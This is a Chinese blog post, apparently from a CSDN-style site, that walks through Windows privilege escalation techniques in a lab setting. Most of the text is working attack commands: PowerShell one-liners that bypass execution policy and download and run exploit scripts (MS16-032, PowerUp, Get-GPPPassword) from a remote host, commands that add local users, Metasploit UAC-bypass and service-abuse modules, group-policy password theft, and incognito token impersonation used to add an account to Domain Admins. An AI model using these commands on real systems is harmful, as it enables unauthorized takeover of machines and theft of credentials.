windows提权总结

本地提权

一、系统内核溢出漏洞

自动查找系统潜在漏洞

0x01 MSF

使用use post/windows/gather/enum_patches模块快速扫描缺失的补丁,命令如下:

use post/windows/gather/enum_patches
set session 2
run

使用use post/multi/recon/local_exploit_suggester模块找出可能被利用的漏洞

use post/multi/recon/local_exploit_suggester
set SHOWDESCRIPTION true	//列出详细数据,可不加
set session 1
run

在这里插入图片描述

0x02 Windows Exploit Suggester

工具下载地址为:

首先更新漏洞数据库,从微软官网自动下载安全公告数据库,如下2021-11-10-mssb.xls

py -2 .\windows-exploit-suggester.py --update

在这里插入图片描述
安装xdrd模块,这里版本高了不行

pip install xlrd==1.2.0

使用systeminfo命令获取当前系统的补丁安装情况,并将信息导入patches.txt

systeminfo > patches.txt

使用该工具检查系统是否有未修复的漏洞

./windows-exploit-suggester.py -d 2021-01-15-mssb.xls  -i patches.txt

在这里插入图片描述

0x03 Sherlock

下载地址:https://github.com/rasta-mouse/Sherlock

本地加载脚本失败还是那个原因

powershell -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/Sherlock.ps1'); // 远程执行 
Import-Module 目录\Sherlock.ps1 本地执行 

Find-AllVulns // 调用脚本后,执行搜索命令

发现漏洞:
在这里插入图片描述
Appears Vulnerable就是存在漏洞,注意Sherlock只是验证,并不能帮助你直接进行利用。

0x04 漏洞库 Kernelhub

https://github.com/Ascotbe/Kernelhub

0x05 利用 LOLBas

https://lolbas-project.github.io/#

选择漏洞并利用

查找了目标机器上的补丁并确定存在漏洞后,我们就可以像目标机器上传本地溢出程序,并执行。这里,我们选择的是ms16-032。

漏洞利用程序可以从以下几个地址中下载:(里面附有使用说明)

0x00 使用ms16-032提权

exp地址:
https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1

尝试下载到本地直接运行,失败

powershell 
. .\Invoke-MS16-032.ps1
Invoke-MS16-032 -Application cmd.exe -commandline '/c net user 2 2 /add'

查了一下因为安全原因,默认是不允许执行ps1脚本的

在这里插入图片描述

于是尝试远程执行,但是虚拟机访问不了https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1,因为访问该网址要修改hosts文件而普通用户没权限,于是把exp上传到另一台虚拟机上地址为:http://192.168.8.12/Invoke-MS16-032.ps1

执行以下exp尝试添加用户 2 2

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.8.12/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user 2 2 /add'

或者把地址换为本地绝对路径也能执行

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:\Users\1\Desktop\Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user 2 2 /add'

在这里插入图片描述
exp执行成功,成功添加用户名为2的用户
在这里插入图片描述

0x01 CVE-2020-0787

1.检查靶机中是否有补丁

systeminfo | findstr KB4540673

2.下载exp,exp地址:
https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases
Kernelhub中也有该漏洞exp,上传至目标运行即可。
在这里插入图片描述

二、windows系统配置错误利用

0x01 系统服务权限配置错误

windows server 可创建长久运行的可执行程序,若能获取的修改windows server配置权限, 通过把服务启动的二进制文件替换为恶意二进制文件,可以获得system权限

  • 服务未运行:使用恶意程序替换,然后重启服务
  • 服务正在运行且无法终止:符合绝大多数的漏洞利用场景,使用 DLL劫持技术并尝试重启服务

1、利用PowerUp.ps1脚本

地址为 https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1(需要改hosts文件才能访问)

在cmd执行以下命令加载脚本,并执行Invoke-AllChecks 模块进行测试

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('./PowerUp.ps1');Invoke-AllChecks"

结果如下
在这里插入图片描述这里没有这个漏洞,检查出来一个注册表键提权漏洞

2、metasploit下的实战利用

在msf中对应的模块为 sercice_permissions。执行如下命令尝试提权

use service_permissions
set session 1
run

成功拿到system权限
在这里插入图片描述

0x02 注册表键AlwaysInstallElevated提权

原因:开启了windows installer 特权安装功能

  • cmd输入gpedit.msc——计算机配置——管理模块——windows组件——windows installer

  • cmd输入gpedit.msc——用户配置——管理模块——windows组件——windows installer在这里插入图片描述

利用方式:

1.powerup下的Get-RegistryAlwaysInstallElevated模块检查注册表键是否被设置
如果被设置则意味MSI文件是以system权限下能运行

# 检查是否被设置
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('./PowerUp.ps1');Get-RegistryAlwaysInstallElevated"
# 运行Write-UserAddMSI模块,生成MSI文件
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('./PowerUp.ps1');Write-UserAddMSI"
# 执行MSI文件
msiexec /quiet /qn /i UserAdd.msi

在这里插入图片描述

2.Metasploit的exploit/windows/local/always_install_elevated模块

该模块会创建一个文件名随机的MSI文件 并在提权后删除所有已部署的文件

use always_install_elevated
set session 1
run

成功拿到system权限
在这里插入图片描述

0x03 可信任服务路径漏洞

利用了windows文件路径解析的特性,通俗的说,如果一个服务的可执行文件的路径(带空格)没有被双引号引起来,那么这个服务就有漏洞。

例如:有一个文件路径C:\Program Files\Some Folder\Service.exe,操作系统会对文件路径中空格的所有可能情况进行尝试,直至找到一个能够匹配的程序。本利中会依次尝试执行以下程序:

  • C:\Program.exe
  • C:\Program Files\Some.exe
  • C:\Program Files\Some Folder\Service.exe

如果我们在C盘上传一个名为Program.exe的恶意程序,可能就会以system权限执行该程序,从而达到提权的目的。

1、手动测试是否存在该漏洞:

wmic service get name,displayname,pathname,startmode | findstr /i “Auto” | findstr /i /v “C:\Windows\” | findstr /i /v “”"


检测是否有对目标文件夹的写权限 可以使用icacls 工具
icacls “C:\Program Files (x86)”


如果确认目标机器存在此漏洞 把我们的木马上传到目并重命名
重启服务
sc stop service_name
sc start service_name

2、msf
下载trusted_service_path模块

sudo cd /usr/share/metasploit-framework/modules/exploits/windows/local;sudo wget https://www.exploit-db.com/download/20543;sudo mv 20543 trusted_service_path.rb

在这里插入图片描述
使用该模块:

use trusted_service_path
set session 1
run

正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程

set AutoRunScript migrate -f

0x04 自动安装配置文件

网络管理员在内网中给多台机器配置同一个环境时,通常不会逐个配置,而是使用脚本批量部署。在这个过程中,会使用安装配置文件。这些文件中包含所有的安装配置信息,其中一些还可能包含管理员账号和密码。

Metasploit集成了漏洞利用模块post/windows/gather/enum_unattend
在这里插入图片描述

三、Windows组策略首选项提权(SYSVOL/GPP)

PowerSploit中的Get-GPPPassword.ps1脚本可以获取组策略中的密码。注意,我们只需要在域内任何一台以域用户权限登录的机器上均可查询到。

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:\Users\1\Desktop\PowerSploit-master\Exfiltration\Get-GPPPassword.ps1');Get-GPPPassword"

MSF中 post/windows/gather/credentials/gpp 模块可以获取组策略中的密码。

四、绕过UAC提权

UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。

Bypassuac提权的MSF模块

1、use exploit/windows/local/bypassuac #该模块将通过进程注入,利用受信任的发布者证书绕过Windows UAC。该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
2、use exploit/windows/local/bypassuac_injection #该模块直接运行在内存的反射DLL中(内存注入),所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
3、use exploit/windows/local/bypassuac_fodhelper #该模块通过FodHelper注册表项,通过在当前用户配置单元下劫持注册表中的特殊键,并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将为我们生成另一个关闭UAC的shell。虽然该模块修改了注册表,但它会在调用payload后清除该键。相比之前的模块,该模块对架构系统并无特别要求。如果指定EXE::Custom DLL,则应在单独的进程中启动payload后调用ExitProcess()。
4、use exploit/windows/local/bypassuac_eventvwr #Windows提权UAC保护绕过(通过Eventvwr注册表项)
5、use exploit/windows/local/bypassuac_comhijack #Windows提权UAC保护绕过(COM处理程序劫持) 此模块将通过在HKCU配置单元中,创建COM处理程序注册表项来绕过Windows UAC。当加载某些高完整性进程时将会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL中包含了可提升权限的payload。在调用payload后该模块将会清除该键。该模块的使用需要选择正确的架构,但在当前低权限的Meterpreter session下架构可以不同。如果指定EXE::Custom DLL,则应在单独的进程中启动payload后调用ExitProcess()。该模块需要通过目标系统上的cmd.exe来调用目标二进制文件,因此如果限制cmd.exe访问,则此模块将无法正常运行。
6、use exploit/windows/local/ask

MSF中Bypassuac模块的使用前提有两个

一是系统当前用户必须在管理员组中
二是用户账户控制程序UAC设置为默认,即 “仅在程序试图更改我的计算机时通知我”

五、令牌窃取

当用户注销后,系统会使主令牌切换为模拟令牌,不会将令牌清楚,只有重启才会清除令牌。

可以使用如下这些工具来窃取令牌

  • incognito.exe
  • powershell - InvokeTokenManipulat.ps1
  • MSF里的incognito模块
  • Cobalt Strike - steal token

窃取AccessToken的数量:

incognito.exe程序 > InvokeTokenManipulat.ps1脚本 > MSF里的incognito模块

0x01 incognito

msf中使用方法

use incognito
# AccessToken的列举
list_tokens -u
# 模拟其他用户的令牌
impersonate_token "NT AUTHORITY\\SYSTEM"
#返回到之前的AccessToken权限
rev2self 
# 域内的话可以添加域用户并添加进域管理组进行敏感操作
# 在域控主机上添加一个账户
add_user hack qwer123456! -h 192.168.13.132 
# 将该账户加到域管理员组中
add_group_user "Domain Admins" hack -h 192.168.13.132

AccessToken的列举
在这里插入图片描述
模拟SYSTEM的令牌
在这里插入图片描述

incognito.exe
程序地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

incognito.exe list_tokens -u
incognito.exe execute -c "完整的Token名" cmd.exe
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

0x02 Invoke-TokenManipulation.ps1

这个脚本是PowerSploit下Exfiltration文件夹内的一个脚本

列举token
Invoke-TokenManipulation -Enumerate
提权至system
Invoke-TokenManipulation -CreateProcess “cmd.exe” -username “nt authority\system”
复制进程token
Invoke-TokenManipulation -CreateProcess “cmd.exe” -ProcessId 500
复制线程token
Invoke-TokenManipulation -CreateProcess “cmd.exe” -ThreadId 500

其他文章

实战遇见到的好用提权方法集合

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值